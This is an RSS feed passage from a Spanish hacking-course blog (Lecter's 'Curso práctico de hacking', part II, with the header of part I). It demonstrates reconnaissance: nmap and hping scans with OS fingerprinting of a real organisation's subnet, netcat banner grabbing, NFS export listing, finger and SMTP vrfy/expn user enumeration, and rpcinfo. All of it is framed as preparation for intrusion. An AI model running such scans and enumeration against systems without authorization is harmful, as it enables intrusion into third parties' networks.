silenciosamente todas lasÂ  maquinas de la subred CÂ  a la que pertenece<br />
<a href="http://www.cica.es">www.cica.es</a>:</p>
<p>#&gt;nmap -sS -p80 <a href="http://www.cica.es">www.cica.es</a></p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS -p80 -o cica <a href="http://www.cica.es/24">www.cica.es/24</a><br />
The 1 scanned port onÂ  (150.214.5.0) is: closed<br />
The 1 scanned port onÂ  (150.214.5.1) is: closed<br />
Interesting ports on <a href="http://www.ceseand.cica.es">www.ceseand.cica.es</a> (150.214.5.2):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on scsasnt.sas.cica.es (150.214.5.3):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on prometeo.cica.es (150.214.5.4):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on cdaea.cica.es (150.214.5.6):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on caf.cica.es (150.214.5.7):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on microbio.cica.es (150.214.5.8):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on <a href="http://www.csalud.junta-andalucia.es">www.csalud.junta-andalucia.es</a> (150.214.5.9):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on thales.cica.es (150.214.5.10):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on mileto.cica.es (150.214.5.11) is: closed<br />
Interesting ports on <a href="http://www.tresculturas.org">www.tresculturas.org</a> (150.214.5.12):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on cdma.cica.es (150.214.5.13):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>HostÂ Â  (150.214.5.31) seems to be a subnet broadcast address (returned 1 extra pings).Â  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port onÂ  (150.214.5.31) is: closed<br />
HostÂ Â  (150.214.5.48) seems to be a subnet broadcast address (returned 1 extra pings).Â  Skipping host.<br />
The 1 scanned port on osni.cica.es (150.214.5.49) is: closed<br />
The 1 scanned port on io.cica.es (150.214.5.50) is: closed<br />
The 1 scanned port on iat-gw.cica.es (150.214.5.51) is: closed<br />
HostÂ Â  (150.214.5.55) seems to be a subnet broadcast address (returned 1 extra pings).Â  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port onÂ  (150.214.5.55) is: closed<br />
HostÂ Â  (150.214.5.64) seems to be a subnet broadcast address (returned 1 extra pings).Â  Skipping host.<br />
The 1 scanned port onÂ  (150.214.5.65) is: closed<br />
The 1 scanned port on winbdd.cica.es (150.214.5.66) is: closed<br />
The 1 scanned port on mercurio.cica.es (150.214.5.67) is: closed<br />
The 1 scanned port on winbdd2.cica.es (150.214.5.68) is: closed<br />
Interesting ports on orgiva.cica.es (150.214.5.69):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on cache.cica.es (150.214.5.70) is: closed<br />
The 1 scanned port on ntp.cica.es (150.214.5.71) is: closed<br />
Interesting ports on patro.cica.es (150.214.5.72):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on horacio.cica.es (150.214.5.73) is: closed<br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on ligustino.cica.es (150.214.5.78):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>Interesting ports on listas.cica.es (150.214.5.79):<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>The 1 scanned port on idefix.cica.es (150.214.5.85) is: closed<br />
The 1 scanned port on lejia-s.cica.es (150.214.5.126) is: closed<br />
HostÂ Â  (150.214.5.127) seems to be a subnet broadcast address (returned 1 extra pings).Â  Still scanning it due to positive ping response from its own IP.<br />
The 1 scanned port onÂ  (150.214.5.127) is: closed<br />
# Nmap run completed at Mon AugÂ  7 00:56:51 2000 &#8212; 256 IP addresses (33 hosts up) scanned in 31 seconds</p>
<p>Bueno, bueno&#8230;ahora si hago un traceroute a cada uno de los hosts que<br />
hanÂ  sidoÂ  escaneados,Â  obtengoÂ  queÂ  enÂ  todosÂ  losÂ  casos,Â  elÂ  host<br />
130.206.194.10 les apunta,Â  con lo cual podemos asegurarÂ  que se trata<br />
de un router/firewall frontera.<br />
Â<br />
Voy a escanear <a href="http://www.cica.es">www.cica.es</a> con nmap pero a todos los puertos:</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0Â  <a href="http://www.cica.es">www.cica.es</a><br />
Interesting ports on argantonio.cica.es (150.214.5.77):<br />
(The 1508 ports scanned but not shown below are in state: closed)<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
21/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  ftpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
22/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  sshÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
23/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  telnetÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
80/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  httpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
119/tcpÂ Â Â  filteredÂ Â Â  nntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
123/tcpÂ Â Â  filteredÂ Â Â  ntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
389/tcpÂ Â Â  openÂ Â Â Â Â Â Â  ldapÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
390/tcpÂ Â Â  openÂ Â Â Â Â Â Â  uisÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
443/tcpÂ Â Â  openÂ Â Â Â Â Â Â  httpsÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
512/tcpÂ Â Â  openÂ Â Â Â Â Â Â  execÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
513/tcpÂ Â Â  openÂ Â Â Â Â Â Â  loginÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
514/tcpÂ Â Â  openÂ Â Â Â Â Â Â  shellÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
515/tcpÂ Â Â  openÂ Â Â Â Â Â Â  printerÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
3128/tcpÂ Â  openÂ Â Â Â Â Â Â  squid-httpÂ Â Â Â Â Â Â Â Â Â Â Â Â<br />
8888/tcpÂ Â  openÂ Â Â Â Â Â Â  sun-answerbookÂ Â Â Â Â Â Â Â Â </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  Difficulty=3D88217 (Worthy challenge)</p>
<p>Sequence numbers: C71B5D1D C71EA319 C7205F3B C721CEFD C72706F0 C729B3AC<br />
Remote OS guesses: Solaris 2.6 &#8211; 2.7, Solaris 7<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D15899)<br />
T1(Resp=3DY%DF=3DY%W=3D2297%ACK=3DS++%Flags=3DAS%Ops=3DNNTNWME)<br />
T2(Resp=3DN)<br />
T3(Resp=3DN)<br />
T4(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DY%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DY%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DY%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DY%DF=3DY%TOS=3D0%IPLEN=3D70%RIPTL=3D148%RID=3DE%RIPCK=3DE%UCK=3DE%ULEN=3D134%DAT=3DE)<br />
# Nmap run completed at Sun AugÂ  6 20:02:23 2000 &#8212; 1 IP address (1 host up) scanned in 34 seconds</p>
<p>SeÂ  trata de unÂ  Solaris 2.6-2.7Â  que tieneÂ  filtrados losÂ  puertos de<br />
usenet (119)Â  y network time protocolÂ  (123). Luego a noÂ  ser que este<br />
mismoÂ  hostÂ  utilice unÂ  filtroÂ  deÂ  paquetes,Â  sospecharemos queÂ  son<br />
filtrados porÂ  las reglasÂ  del firewall/router queÂ  le precediaÂ  en la<br />
secuencia de traceroute.</p>
<p>Si barremos ahora los puertos del supuesto firewall:</p>
<p>Â<br />
# Nmap (V. nmap) scan initiated 2.53 as: nmap -vv -sS -O -P0 -o cica 130.206.194.10<br />
Interesting ports onÂ  (130.206.194.10):<br />
(The 1517 ports scanned but not shown below are in state: closed)<br />
PortÂ Â Â Â Â Â  StateÂ Â Â Â Â Â  Service<br />
79/tcpÂ Â Â Â  openÂ Â Â Â Â Â Â  fingerÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
119/tcpÂ Â Â  filteredÂ Â Â  nntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
123/tcpÂ Â Â  filteredÂ Â Â  ntpÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
1998/tcpÂ Â  openÂ Â Â Â Â Â Â  x25-svc-portÂ Â Â Â Â Â Â Â Â Â Â<br />
2001/tcpÂ Â  openÂ Â Â Â Â Â Â  dcÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
6001/tcpÂ Â  openÂ Â Â Â Â Â Â  X11:1Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â </p>
<p>TCP Sequence Prediction: Class=3Drandom positive increments<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  Difficulty=3D38400 (Worthy challenge)</p>
<p>Sequence numbers: 2395ACF2 23A031DB 23AB5C89 23B4BE60 23BF584E 23C98A6A<br />
Remote OS guesses: AS5200, Cisco 2501/5260/5300 terminal server IOS 11.3.6(T1), Cisco IOS 11.3 &#8211; 12.0(9)<br />
OS Fingerprint:<br />
TSeq(Class=3DRI%gcd=3D1%SI=3D9600)<br />
T1(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T2(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
T3(Resp=3DY%DF=3DN%W=3D1020%ACK=3DS++%Flags=3DAS%Ops=3DM)<br />
T4(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T5(Resp=3DY%DF=3DN%W=3D0%ACK=3DS++%Flags=3DAR%Ops=3D)<br />
T6(Resp=3DY%DF=3DN%W=3D0%ACK=3DO%Flags=3DR%Ops=3D)<br />
T7(Resp=3DY%DF=3DN%W=3D0%ACK=3DS%Flags=3DAR%Ops=3D)<br />
PU(Resp=3DN)<br />
# Nmap run completed at Sun AugÂ  6 19:40:12 2000 &#8212; 1 IP address (1 host up) scanned in 26 seconds</p>
<p>VemosÂ  que seÂ  trata efectivamenteÂ  deÂ  un CiscoÂ  Terminal RouterÂ  IOS<br />
11.3-12.0 y que filtra tambien esos dos puertos.<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
Si hacemos un fping a <a href="http://www.cica.es">www.cica.es</a></p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 80<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D0 ttl=3D243 id=3D4427 win=3D9112 rtt=3D188.4 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D1 ttl=3D243 id=3D4428 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D2 ttl=3D243 id=3D4429 win=3D9112 rtt=3D210.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D3 ttl=3D243 id=3D4430 win=3D9112 rtt=3D200.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D4 ttl=3D243 id=3D4431 win=3D9112 rtt=3D190.2 ms<br />
44 bytes from 150.214.5.77: flags=3DSA seq=3D5 ttl=3D243 id=3D4432 win=3D9112 rtt=3D210.1 ms</p>
<p>Paramos con Ctrl-C</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
6 packets tramitted, 6 packets received, 0% packet loss<br />
round-trip min/avg/max =3D 188.4/199.9/210.2 ms<br />
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â<br />
yÂ  observamosÂ  queÂ Â  elÂ  flag=3DSAÂ  indicaÂ  queÂ  elÂ Â  puertoÂ  80Â  esta<br />
efectivamente abierto. Pero si hacemos hping al puerto 119</p>
<p>#&gt;hping <a href="http://www.cica.es">www.cica.es</a> -S -p 119<br />
ppp0 default routing interface selected (according to /proc)<br />
HPING <a href="http://www.cica.es">www.cica.es</a> (ppp0 150.214.5.77): S set, 40 headers + 0 data bytes</p>
<p>&#8212; <a href="http://www.cica.es">www.cica.es</a> hping statistic &#8212;<br />
13 packets tramitted, 0 packets received, 100% packet loss<br />
round-trip min/avg/max =3D 0.0/0.0/0.0 msÂ Â Â Â Â Â Â Â Â </p>
<p>Efectivamente, esta vez noÂ  tenemos ninguna respuesta y debemos pensar<br />
que el cortafuegos/o enrutador (Cisco ultimate server) la detuvo. =BFO<br />
tal vezÂ  el propioÂ  host tenia filtroÂ  de paquetes?. SiÂ  utilizamos de<br />
nuevo nmap y escaneamos toda la subred en los puertos 119 y123:</p>
<p>#&gt;nmap -sS -p119,123 <a href="http://www.cica.es/24">www.cica.es/24</a></p>
<p>obtenemos enÂ  todos losÂ  casos que losÂ  hosts tienen esosÂ  dos puertos<br />
filtrados: Mucha casualidad va aÂ  ser que cada host utilice un sistema<br />
de filtradoÂ  en dichos puertosÂ  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Lo masÂ  aplastante es queÂ  el host<br />
130.206.194.10Â  disponga unasÂ  rglasÂ  de firewallÂ  que filtrenÂ  dichos<br />
puertos a todos los hosts a los que apunta.</p>
<p>De lasÂ  cuestiones acerca de losÂ  tipos de cortafuegosÂ  y las tecnicas<br />
para traspasarlos nos dedicaremosÂ  en el capitulo destinado al ataque,<br />
como ya dije antes.</p>
<p>LaÂ  exploracion deÂ  los puertosÂ  de unÂ  cortafuegos esÂ  util,Â  pero la<br />
mayoria noÂ  escuchan en puertos predeterminados.Â  La identificacion de<br />
algunosÂ  cortafuegosÂ  puede hacerseÂ  siÂ  tenemosÂ  suerteÂ  de modoÂ  muy<br />
sencilloÂ  leyendo ciertosÂ  mensajesÂ  de identificacionÂ  que muchosÂ  de<br />
ellos presentan. Con laÂ  utilidad netcat podemos conectarnos al puerto<br />
21 del posible cortafuegos</p>
<p>#&gt;nc -v -n 192.168.51.129 21<br />
(UNKNOWN) [192.168.51.129] 21 (?) open<br />
220 Secure Gateway FTP server ready</p>
<p>#&gt;nc -v -n 192.168.51.129 23<br />
(UNKNOWN) [192.168.51.129] 23 (?) open<br />
Eagle Secure Gateway<br />
Hostname:<br />
3. Exportacion de archivos NFS</p>
<p>El Network FileÂ  System (NFS) es un sistema deÂ  red que posibilita que<br />
unÂ  hostÂ  servidor proporcioneÂ  sistemasÂ  deÂ  archivos yÂ  dispositivos<br />
perifericos aÂ  maquinas clientes. SiÂ  el amigo administrador noÂ  es un<br />
lumbrera oÂ  pasa cantidad, puedeÂ  que no haya configuradoÂ  el servidor<br />
NFS adecuadamente&#8230;yÂ  cualquier usuario remoto puedeÂ  tener acceso de<br />
lectura y escritura. Si mediante una exploracion previa se observa que<br />
el puerto 2049 (servidor nfs) de un host esta abierto, con la utilidad<br />
showmount -e podemos conseguir laÂ  lista de exportacion de un servidor<br />
NFS. Si hacemos como root</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale algo como<br />
RPC: Port mapper failure &#8211; RPC: Unable to receive<br />
pues nada, no ha habido suerte</p>
<p>pero si nos saliera</p>
<p>#&gt;showmount -e objetivo2.net<br />
export list for objetivo2.net<br />
/pubÂ Â Â Â Â Â Â Â  (everyone)<br />
/homeÂ Â Â Â Â Â Â  (everyone)</p>
<p>yaÂ  podiamos establecer unaÂ  via deÂ  entrada conÂ  ayuda deÂ  los rlogin<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> (ya lo veremos en el hacking).</p>
<p>4. Listado de usuarios y grupos</p>
<p>PareceÂ  mentira,Â  peroÂ  algunosÂ  administradores empleanÂ  laÂ  utilidad<br />
fingerÂ  con m=EDnimasÂ  medidas deÂ  seguridad&#8230;y estoÂ  permite obtener<br />
bastanteÂ  informacionÂ  en muchosÂ  casosÂ  paraÂ  ingenieria social,Â  que<br />
aunque yo noÂ  lo considero como una tecnica puraÂ  de hacking, te puede<br />
resolverÂ  elÂ  problemaÂ  <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .Â Â  SupongamosÂ  que elÂ  hostÂ  objetivoÂ  esta<br />
ejecutando el servicio fingerd (puerto 79). Si hacemos como root</p>
<p>#&gt;finger -l @host.objetivo<br />
[host.objetivo]<br />
login:rootÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  name:root<br />
Directory:/rootÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  Shell:/bin/bash<br />
On since Sun Mar 20: 10:15(PST) on tty1. 11 minutes idle<br />
(message off)<br />
On since Sun Mar 20: 10:15(PST) on ttyp0 from :0.0. 3 minute 15 seconds idle<br />
No mail<br />
Plan:<br />
Luke Skywalker<br />
Linux Guru<br />
Telnet password is Lord &#8230; (my father)</p>
<p>Peaso de info (pero, como las peliculas de los intocables, el parecido<br />
con la realidad es pura coincidencia) La informacion proporcionada por<br />
finger en principio deberia serÂ  inocua porque la extrae de los campos<br />
deÂ  /etc/passwd. LoÂ  masÂ  peligroso esÂ  queÂ  indica elÂ  nombre deÂ  los<br />
usuarios conectados y susÂ  tiempos de inactividad. Moreover, cualquier<br />
usuarioÂ  queÂ  tenga unÂ  archivoÂ  .planÂ  oÂ  .project enÂ  suÂ  directorio<br />
particular, la presentara alÂ  hacer finger un merodeador. Los comandos<br />
rwho y rusers muestran los usuarios conectados al host remoto, pero no<br />
danÂ  tanta informacion comoÂ  finger. EsÂ  posible medianteÂ  el servicio<br />
smtpÂ  localizarÂ  usuariosÂ  conÂ  losÂ  mandatosÂ  vrfyÂ  (confirmacionÂ  de<br />
usuarios validos)Â  y expn (direccionesÂ  reales de entrega deÂ  correo y<br />
alias):</p>
<p>$&gt;telnet 192.168.202.34 25<br />
=2E&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
220 mail.bigcorp.com ESMTP Sendmail 8.8.7<br />
vrfy root<br />
250 root &lt;<a href="mailto:root@bigcorp.com">root@bigcorp.com</a>&gt;<br />
expn adm<br />
250 adm &lt;<a href="mailto:adm@bigcorp.com">adm@bigcorp.com</a>&gt;</p>
<p>5. Aplicaciones RPC</p>
<p>RemoteÂ  ProcedureÂ  Call (RPC)tieneÂ  queÂ  verÂ  con interaccionesÂ  entre<br />
procesos=2EÂ  ElÂ  conceptoÂ  deÂ  RPCÂ  esÂ  unaÂ  sencillaÂ  t=E9cnicaÂ  para<br />
desarrollarÂ  aplicaciones dondeÂ  se requiereÂ  laÂ  comunicaci=F3n entre<br />
procesadores que cooperan en un sistema distribuido.</p>
<p>ElÂ  mecanismoÂ  RPC proporcionaÂ  unÂ  servicioÂ  paraÂ  el programadorÂ  de<br />
aplicionesÂ  que leÂ  permite elÂ  uso transparenteÂ  de unÂ  servidor para<br />
proporcionarÂ  alguna actividadÂ  porÂ  parte deÂ  la aplicaci=F3n.Â Â  Esto<br />
efectivamenteÂ  puede serÂ  utilizado paraÂ  interactuar conÂ  un servidor<br />
computacional oÂ  con una BaseÂ  de Datos, yÂ  ha sido usadoÂ  por algunos<br />
sistemas paraÂ  proporcionar acceso a serviciosÂ  del sistema operativo.<br />
El ultimoÂ  uso conocido esÂ  en sistemas basadosÂ  en micro-ordenadores,<br />
queÂ  daÂ Â  unÂ  mejorÂ  resultadoÂ  queÂ  enÂ Â  losÂ  sistemasÂ  tradicionales<br />
encontrados enÂ  la mayoria de sistemasÂ  unix.Â  La ordenÂ  rpcinfo es el<br />
equivalente a finger en la enumeracion de aplicaciones RPC que estan a<br />
la escucha en hosts remotos en los puertos 111 (rpcbind) o 32771 (Sun)<br />
SupongamosÂ  que nuestroÂ  objetivo oÂ  unaÂ  maquina deÂ  su subredÂ  tiene<br />
activo el puerto 111. Si hacemos</p>
<p>#&gt;rpcinfo -p objetivo.net<br />
y obtenemos:</p>
<p>programÂ Â  versÂ Â Â Â  protoÂ Â Â Â  port<br />
100000Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  tcpÂ Â  111Â  rpcbind<br />
100002Â Â Â Â Â Â Â Â Â Â Â Â  3Â Â Â Â Â Â Â Â  udpÂ Â  712Â  rusersd<br />
100011Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  udpÂ Â  754Â  rquotad<br />
100005Â Â Â Â Â Â Â Â Â Â Â Â  1Â Â Â Â Â Â Â Â  udpÂ Â  635Â  mountd<br />
100003Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  udpÂ  2049Â  nfs<br />
100004Â Â Â Â Â Â Â Â Â Â Â Â  2Â Â Â Â Â Â Â Â  tcpÂ Â  778Â  ypserv</p>
<p>Esta informacionÂ  (me salto loÂ  que ahora puede serÂ  superfluo) indica<br />
que seÂ  estan ejecutando rusersd, nfsÂ  e ypserv que esÂ  el servidor de<br />
NIS.Â  NIS (NetworkÂ  Information System)Â  es unÂ  protocolo deÂ  nivel de<br />
aplicacionÂ Â  muyÂ Â Â  utilÂ Â  paraÂ Â  laÂ Â Â  gestionÂ Â  deÂ Â  configuraciones<br />
cliente/servidor enÂ  sistemas unix.Â  Es un sistemaÂ  de basesÂ  de datos<br />
distribuidas queÂ  permiten de maneraÂ  uniforme el almacenamientoÂ  y la<br />
recuperacion de los recursos de red. Como explica Daemond, en lugar de<br />
gestionarÂ  archivosÂ Â  comoÂ  elÂ  /etc/hosts,Â Â  /etc/passwd,Â  /etc/group<br />
independientementeÂ  enÂ  cadaÂ  maquinaÂ  deÂ  la red,Â  estoÂ  permiteÂ  que<br />
solamente hayaÂ  una base de datosÂ  compartida (mapas) porÂ  el resto de<br />
las maquinas clientes en un servidor central. Esto tiene su aquel para<br />
el hacking de sistemas usando ypcat, pero ya lo veremos.</p>
<p>Existen muchosÂ  mas modos de extraer informacion,Â  por ejemplo leyendo<br />
elÂ  codigo de lasÂ  paginas web,Â  estableciendo posiblesÂ  relaciones de<br />
confianzaÂ  (trustedÂ  hostsÂ  conÂ  rlogin),Â  ingenieriaÂ  social,Â  quinta<br />
columna&#8230; pero creo que no esta mal para comenzar.</p>
<p>Aqui termina la segunda entrega.</p>
<p>EnÂ  laÂ  proximaÂ Â  nosÂ  centraremosÂ  enÂ  lasÂ  tecnicasÂ Â  deÂ  hackingÂ  e<br />
introduccion de sistemas mediante fallos de seguridad, desbordamientos<br />
del bufer deÂ  ciertos programas, ataques por fuerzaÂ  bruta, etc. Queda<br />
todaviaÂ  un largoÂ  camino yÂ  luego hayÂ  tecnicasÂ  avanzadas (tunneling<br />
firewalls, hijacking, IP spoofing&#8230;)</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>LECTER</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso prÃ¡ctico de hacking (CPH) I</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:09:33 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=186</guid>
		<description><![CDATA[Curso prÃ¡ctico de exploraciÃ³n en cuatro entregas, explicando todos los pasos desde la obtenciÃ³n de informaciÃ³n hasta el acceso, orientado a sistemas UNIX. Parte I.


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso prÃ¡ctico de hacking I<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
